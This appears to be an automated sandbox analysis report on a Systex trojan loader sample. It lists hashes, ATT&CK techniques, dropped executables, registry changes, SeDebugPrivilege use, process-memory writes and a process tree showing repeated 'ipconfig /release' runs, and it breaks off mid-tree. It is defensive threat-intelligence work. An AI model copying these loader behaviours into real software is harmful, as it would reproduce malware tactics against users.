systex | 175a7eb0941cb3c19ab573519235aeebe74c0f6ef89dfef3b48df0ebf2d88ddc

Analysis

max time kernel
150s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 01:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
Size 365KB
Sample260720-cbzmnsb19k
SHA256 175a7eb0941cb3c19ab573519235aeebe74c0f6ef89dfef3b48df0ebf2d88ddc
MD5 097ccb8c44526b4ade67320f15a8b10b
SHA1 c2420327ec1349c99edcc2098f7a069f27f80003
SHA512 3890808c9b3a2106b8f3961d74bd067c44e6220f818ba8d88a236ca48909ab0f0a8d1b89078bea66ad7515bfa2af30aef460e61b2af98d3ade8a5ad254559fe1
SSDEEP 3072:3uxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:3uxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T15D847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
1708	jhbztrmjebwuomge.exe
2460	jhbztrmjebwuomge.sys
5472	CreateProcess.exe
4536	mgebztrmjh.exe
3828	CreateProcess.exe
3484	CreateProcess.exe
3512	i_mgebztrmjh.exe
1172	wtoljgbztr.sys
5428	CreateProcess.exe
1360	qolgebwtol.exe
4336	CreateProcess.exe
4204	CreateProcess.exe
2136	i_qolgebwtol.exe
1808	vtnljdbvtn.sys
4740	CreateProcess.exe
2636	tnljdaytqn.exe
4560	CreateProcess.exe
6028	CreateProcess.exe
4928	i_tnljdaytqn.exe
4516	nifdbvtnlf.sys
5904	CreateProcess.exe
4224	idavtnlfdy.exe
4444	CreateProcess.exe
5508	CreateProcess.exe
1528	i_idavtnlfdy.exe
4172	idavsnkica.sys
4200	CreateProcess.exe
2828	snkicaxsqk.exe
1836	CreateProcess.exe
5324	CreateProcess.exe
3524	i_snkicaxsqk.exe
5832	snkfdxvpnh.sys
1932	CreateProcess.exe
4888	pnhfaxsmkf.exe
120	CreateProcess.exe
4480	CreateProcess.exe
4524	i_pnhfaxsmkf.exe
5032	pnhfzxrpkh.sys
2716	CreateProcess.exe
4676	mkecxupnhf.exe
3084	CreateProcess.exe
2292	CreateProcess.exe
3172	i_mkecxupnhf.exe
4252	omkecwurpj.sys
2840	CreateProcess.exe
5664	rpmhecwurm.exe
4172	CreateProcess.exe
1904	CreateProcess.exe
1180	i_rpmhecwurm.exe
5740	ezwrpjhbzt.sys
4792	CreateProcess.exe
296	omjebwuomg.exe
4328	CreateProcess.exe
2468	CreateProcess.exe
5112	i_omjebwuomg.exe
2376	qomgeywroj.sys
1368	CreateProcess.exe
4812	jgeywtrljg.exe
3720	CreateProcess.exe
5504	CreateProcess.exe
5320	i_jgeywtrljg.exe
5104	oigbytqljd.sys
1264	CreateProcess.exe
5384	ljdbvtnlgd.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1996_1055181965\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1996_1000595142\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1996_1000595142\protocols.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkecxupnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxupnhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_yvtroigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qolgebwtol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snkicaxsqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpmhecwurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdbvtnlgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkicaxsnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxupnhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqojgbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yvtroigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_idavtnlfdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhfaxsmkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omjebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdbvtnlgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhfaxsmkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkicaxsnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spnkicausq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrpjhbztrm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrpjhbztrm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpmhecwurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgeywtrljg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbztrmjebwuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgebztrmjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mgebztrmjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnljdaytqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkecxupnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqnigaysqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spnkicausq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurpjheczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omjebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurpjheczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqojgbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yvqoigaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnljdaytqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgeywtrljg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqnigaysqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qolgebwtol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idavtnlfdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snkicaxsqk.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
236	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4308	ipconfig.exe
1140	ipconfig.exe
4844	ipconfig.exe
4676	ipconfig.exe
5604	ipconfig.exe
2480	ipconfig.exe
2712	ipconfig.exe
5376	ipconfig.exe
3248	ipconfig.exe
4300	ipconfig.exe
5336	ipconfig.exe
4792	ipconfig.exe
4704	ipconfig.exe
5636	ipconfig.exe
2496	ipconfig.exe
3684	ipconfig.exe
4788	ipconfig.exe
3020	ipconfig.exe
3532	ipconfig.exe
3900	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134289861009606027"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1079202589-886135813-2527035092-1000\{1F492C38-C8EF-4C98-867B-1E16B6A68A1F}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1708	jhbztrmjebwuomge.exe
1708	jhbztrmjebwuomge.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1708	jhbztrmjebwuomge.exe
1708	jhbztrmjebwuomge.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1708	jhbztrmjebwuomge.exe
1708	jhbztrmjebwuomge.exe
1708	jhbztrmjebwuomge.exe
1708	jhbztrmjebwuomge.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	3512	i_mgebztrmjh.exe
Token: SeDebugPrivilege	2136	i_qolgebwtol.exe
Token: SeDebugPrivilege	4928	i_tnljdaytqn.exe
Token: SeDebugPrivilege	1528	i_idavtnlfdy.exe
Token: SeDebugPrivilege	3524	i_snkicaxsqk.exe
Token: SeDebugPrivilege	4524	i_pnhfaxsmkf.exe
Token: SeDebugPrivilege	3172	i_mkecxupnhf.exe
Token: SeDebugPrivilege	1180	i_rpmhecwurm.exe
Token: SeDebugPrivilege	5112	i_omjebwuomg.exe
Token: SeDebugPrivilege	5320	i_jgeywtrljg.exe
Token: SeDebugPrivilege	4976	i_ljdbvtnlgd.exe
Token: SeDebugPrivilege	1064	i_sqnigaysqk.exe
Token: SeDebugPrivilege	3920	i_sqkicaxsnk.exe
Token: SeDebugPrivilege	1320	i_spnkicausq.exe
Token: SeDebugPrivilege	2668	i_zxupnhfzxr.exe
Token: SeDebugPrivilege	2288	i_zurpjheczu.exe
Token: SeDebugPrivilege	3504	i_wrpjhbztrm.exe
Token: SeDebugPrivilege	2808	i_ywqojgbztr.exe
Token: SeDebugPrivilege	3764	i_yvtroigbyt.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1996	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5024 wrote to memory of 1708	5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe	89
PID 5024 wrote to memory of 3584	5024	2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe	90
PID 3584 wrote to memory of 1996	3584	iexplore.exe	91
PID 1996 wrote to memory of 3444	1996	msedge.exe	92
PID 1996 wrote to memory of 4212	1996	msedge.exe	94
PID 1996 wrote to memory of 236	1996	msedge.exe	95
PID 1996 wrote to memory of 4212	1996	msedge.exe	94
PID 1996 wrote to memory of 4212	1996	msedge.exe	94
PID 1996 wrote to memory of 4332	1996	msedge.exe	96
PID 1996 wrote to memory of 4332	1996	msedge.exe	96
PID 1996 wrote to memory of 1428	1996	msedge.exe	97
PID 1996 wrote to memory of 1428	1996	msedge.exe	97
PID 1996 wrote to memory of 1428	1996	msedge.exe	97
PID 1996 wrote to memory of 2648	1996	msedge.exe	98
PID 1996 wrote to memory of 2648	1996	msedge.exe	98
PID 1996 wrote to memory of 2648	1996	msedge.exe	98
PID 1996 wrote to memory of 4764	1996	msedge.exe	99
PID 1996 wrote to memory of 4764	1996	msedge.exe	99
PID 1996 wrote to memory of 4764	1996	msedge.exe	99
PID 1996 wrote to memory of 4192	1996	msedge.exe	100
PID 1996 wrote to memory of 4192	1996	msedge.exe	100
PID 1996 wrote to memory of 4192	1996	msedge.exe	100
PID 1996 wrote to memory of 4356	1996	msedge.exe	104
PID 1996 wrote to memory of 1660	1996	msedge.exe	105
PID 1996 wrote to memory of 4356	1996	msedge.exe	104
PID 1996 wrote to memory of 1660	1996	msedge.exe	105
PID 1996 wrote to memory of 1352	1996	msedge.exe	107
PID 1708 wrote to memory of 5472	1708	jhbztrmjebwuomge.exe	108
PID 4536 wrote to memory of 3828	4536	mgebztrmjh.exe	111
PID 1996 wrote to memory of 5340	1996	msedge.exe	115
PID 1996 wrote to memory of 5340	1996	msedge.exe	115
PID 1996 wrote to memory of 2276	1996	msedge.exe	117
PID 1996 wrote to memory of 2276	1996	msedge.exe	117
PID 1996 wrote to memory of 4504	1996	msedge.exe	118
PID 1996 wrote to memory of 4504	1996	msedge.exe	118
PID 1708 wrote to memory of 3484	1708	jhbztrmjebwuomge.exe	119
PID 1708 wrote to memory of 5428	1708	jhbztrmjebwuomge.exe	123
PID 1360 wrote to memory of 4336	1360	qolgebwtol.exe	125
PID 1708 wrote to memory of 4204	1708	jhbztrmjebwuomge.exe	128
PID 1708 wrote to memory of 4740	1708	jhbztrmjebwuomge.exe	132
PID 2636 wrote to memory of 4560	2636	tnljdaytqn.exe	134
PID 1708 wrote to memory of 6028	1708	jhbztrmjebwuomge.exe	137
PID 1708 wrote to memory of 5904	1708	jhbztrmjebwuomge.exe	142
PID 4224 wrote to memory of 4444	4224	idavtnlfdy.exe	144
PID 1708 wrote to memory of 5508	1708	jhbztrmjebwuomge.exe	147
PID 1996 wrote to memory of 5892	1996	msedge.exe	149
PID 1996 wrote to memory of 1368	1996	msedge.exe	150
PID 1996 wrote to memory of 5148	1996	msedge.exe	151
PID 1708 wrote to memory of 4200	1708	jhbztrmjebwuomge.exe	154
PID 2828 wrote to memory of 1836	2828	snkicaxsqk.exe	156
PID 1708 wrote to memory of 5324	1708	jhbztrmjebwuomge.exe	159
PID 1708 wrote to memory of 1932	1708	jhbztrmjebwuomge.exe	163
PID 4888 wrote to memory of 120	4888	pnhfaxsmkf.exe	165
PID 1708 wrote to memory of 4480	1708	jhbztrmjebwuomge.exe	168
PID 1708 wrote to memory of 2716	1708	jhbztrmjebwuomge.exe	172
PID 4676 wrote to memory of 3084	4676	mkecxupnhf.exe	174
PID 1708 wrote to memory of 2292	1708	jhbztrmjebwuomge.exe	177
PID 1708 wrote to memory of 2840	1708	jhbztrmjebwuomge.exe	181
PID 5664 wrote to memory of 4172	5664	rpmhecwurm.exe	183
PID 1708 wrote to memory of 1904	1708	jhbztrmjebwuomge.exe	186
PID 1996 wrote to memory of 5136	1996	msedge.exe	188
PID 1996 wrote to memory of 5136	1996	msedge.exe	188
PID 1708 wrote to memory of 4792	1708	jhbztrmjebwuomge.exe	194
PID 296 wrote to memory of 4328	296	omjebwuomg.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-19_097ccb8c44526b4ade67320f15a8b10b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5024
- C:\Temp\jhbztrmjebwuomge.exe
  C:\Temp\jhbztrmjebwuomge.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mgebztrmjh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5472
  - - C:\Temp\mgebztrmjh.exe
      C:\Temp\mgebztrmjh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4536
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3828
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4844
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mgebztrmjh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3484
  - - C:\Temp\i_mgebztrmjh.exe
      C:\Temp\i_mgebztrmjh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3512
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qolgebwtol.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5428
  - - C:\Temp\qolgebwtol.exe
      C:\Temp\qolgebwtol.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1360
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4336
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5376
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qolgebwtol.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4204
  - - C:\Temp\i_qolgebwtol.exe
      C:\Temp\i_qolgebwtol.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2136
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tnljdaytqn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4740
  - - C:\Temp\tnljdaytqn.exe
      C:\Temp\tnljdaytqn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2636
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4560
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5336
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_tnljdaytqn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:6028
  - - C:\Temp\i_tnljdaytqn.exe
      C:\Temp\i_tnljdaytqn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4928
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\idavtnlfdy.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5904
  - - C:\Temp\idavtnlfdy.exe
      C:\Temp\idavtnlfdy.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4224
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4444
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4676
- - C:\temp\CreateProcess.exe
